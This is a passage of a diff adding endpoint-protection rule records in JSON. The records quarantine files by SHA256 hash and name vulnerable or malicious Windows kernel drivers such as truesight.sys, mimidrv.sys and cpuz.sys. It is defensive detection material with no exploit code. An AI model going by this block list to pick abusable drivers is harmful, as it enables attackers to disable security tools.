+  "creation_date": "2026-03-23T11:45:30.824081Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824086Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3b526d6db56c3feadf29d4b0fbd4cfa21f9775e666c50f5a0a8aea81a41854f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa0dbbd9-0611-5ba5-a59d-12de3508900c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474797Z",
+  "creation_date": "2026-03-23T11:45:30.474800Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474809Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6522fc68fa686a546cd98142b90e5bcbfb8b79127cfb38b9a1249996d3d102dc",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa13a02f-465c-5ebf-be64-93c774e44dc2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819172Z",
+  "creation_date": "2026-03-23T11:45:31.819174Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819180Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bcb0af2a4110eed3b300569c081426799f44d20ede6db745f2014e887c9bf494",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa1da3f5-b8a6-5d23-b9b5-d96c39be1878",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466580Z",
+  "creation_date": "2026-03-23T11:45:30.466583Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466592Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4999541c47abd4a7f2a002c180ae8d31c19804ce538b85870b8db53d3652862b",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa26f938-10f4-5567-9516-2c556f033706",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983104Z",
+  "creation_date": "2026-03-23T11:45:29.983106Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983111Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81c7bb39100d358f8286da5e9aa838606c98dfcc263e9a82ed91cd438cb130d1",
+  "comment": "Malicious Kernel Driver (aka wantd_3.sys) [https://www.loldrivers.io/drivers/a22104a8-126d-449f-ba3e-28678c60c587/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa29acc7-bd3b-5a57-87be-debe5cc9f3d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613701Z",
+  "creation_date": "2026-03-23T11:45:29.613703Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613708Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "552f70374715e70c4ade591d65177be2539ec60f751223680dfaccb9e0be0ed9",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa2c8db6-40a5-54a9-b387-0358d2de1dc6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979429Z",
+  "creation_date": "2026-03-23T11:45:29.979431Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb2422e96ea993007f25c71d55b2eddfa1e940c89e895abb50dd07d7c17ca1df",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa36969f-32d9-5a42-bc76-c9b04b85d871",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453372Z",
+  "creation_date": "2026-03-23T11:45:30.453376Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453385Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "714d8791e37373f92f0242a6694cc232686caab69d7ae64b5ed31094cc352893",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa38521f-fe82-5d6b-ac97-5773591e7eba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835647Z",
+  "creation_date": "2026-03-23T11:45:30.835649Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835655Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8fe64d42542f5546eb8c0a5e1da77ff237585d855344a8f63293ab86d1d56fc0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa4428fb-3305-572e-bce5-8006479d5538",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484848Z",
+  "creation_date": "2026-03-23T11:45:31.484852Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484863Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "356250aa436af02d651c84ba93f674f094e8a98563f58e39fd78cdbdf0e86353",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa55fdb2-091a-5f8d-b9a2-a20744e4f7f3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825971Z",
+  "creation_date": "2026-03-23T11:45:31.825973Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825979Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37527e11e7c25b8b0390a22bfecff2919f261c780e631739ef6acbe9085b674d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa6574f1-01ca-5ca6-bf2f-44973a4a5dba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832058Z",
+  "creation_date": "2026-03-23T11:45:30.832060Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832066Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "679c486ab26be098b8cd8bbc2b604eb94eebbb0265f79ccd91fa4d968b406d3e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa733f42-6a87-5377-86e2-3da723ba4cfc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151810Z",
+  "creation_date": "2026-03-23T11:45:31.151814Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151823Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "90044e79b27d7e5f9afac7f8d5025ad695bdda4f4a9023d2883a02f2c17b13f2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa79fb52-7836-5ad5-93ed-2e26ce2eeb32",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605926Z",
+  "creation_date": "2026-03-23T11:45:29.605928Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605934Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bced04bdefad6a08c763265d6993f07aa2feb57d33ed057f162a947cf0e6668f",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa8815db-5e3d-5372-9faf-655f2c9331d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974696Z",
+  "creation_date": "2026-03-23T11:45:29.974698Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974703Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "92bb92314ad69e9d118df55924ddab76b983029f1eae7739bbb098c6bea86ca1",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa8a7006-79c8-56b4-8261-70af7dd4c359",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617575Z",
+  "creation_date": "2026-03-23T11:45:29.617577Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617582Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "73a0ccf3e32c262142bde91c19f5b1f395878783f157c6bed5874ede5a3afddd",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa9503ed-995a-5d9c-b512-0e12d74f46ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967117Z",
+  "creation_date": "2026-03-23T11:45:29.967121Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967130Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f5c267770f18d720313eedc7ff363989b04b21394e7c0179088d74b4d0fb2630",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fa975892-b079-51dd-ac70-ce2ca2c1e022",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826962Z",
+  "creation_date": "2026-03-23T11:45:30.826964Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826970Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46257866237fe03e590247dc39daa60635c136eaab3e2c941944ff3348f17cfa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "faba1390-bece-5496-bb6a-29630672dca3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486167Z",
+  "creation_date": "2026-03-23T11:45:31.486171Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486181Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "244cf5603ec4960b86137f9bd58877b890871a961061b1160ddfddead099170f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fabaf23a-9cdc-5bde-8574-0a22fd6295e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143881Z",
+  "creation_date": "2026-03-23T11:45:32.143883Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143889Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ebf6be42d39fd5d9361afa43479f883ff8eba97d72f313ece289f78cb51c22f2",
+  "comment": "Vulnerable Kernel Driver (aka Afd.sys) [https://www.loldrivers.io/drivers/394f49b2-2d78-4d0d-b374-1399695455f3/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fabdc89c-665b-564b-81fc-bb3d16021c83",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826813Z",
+  "creation_date": "2026-03-23T11:45:31.826815Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826820Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "806a9d7578501708a51b0ba5dbd983213dc0dd9ef3818e7b4df2ce520f66dc0c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fabdecc6-6e04-559b-870a-ca18a1b5183d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979585Z",
+  "creation_date": "2026-03-23T11:45:29.979587Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979592Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ee267fc3d0ac2662a9cfdb0ed5a2354ee09ef4c218303f20350177cae125cf7",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fac04190-ac64-54a0-9a24-55afd3585784",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826848Z",
+  "creation_date": "2026-03-23T11:45:31.826850Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826856Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
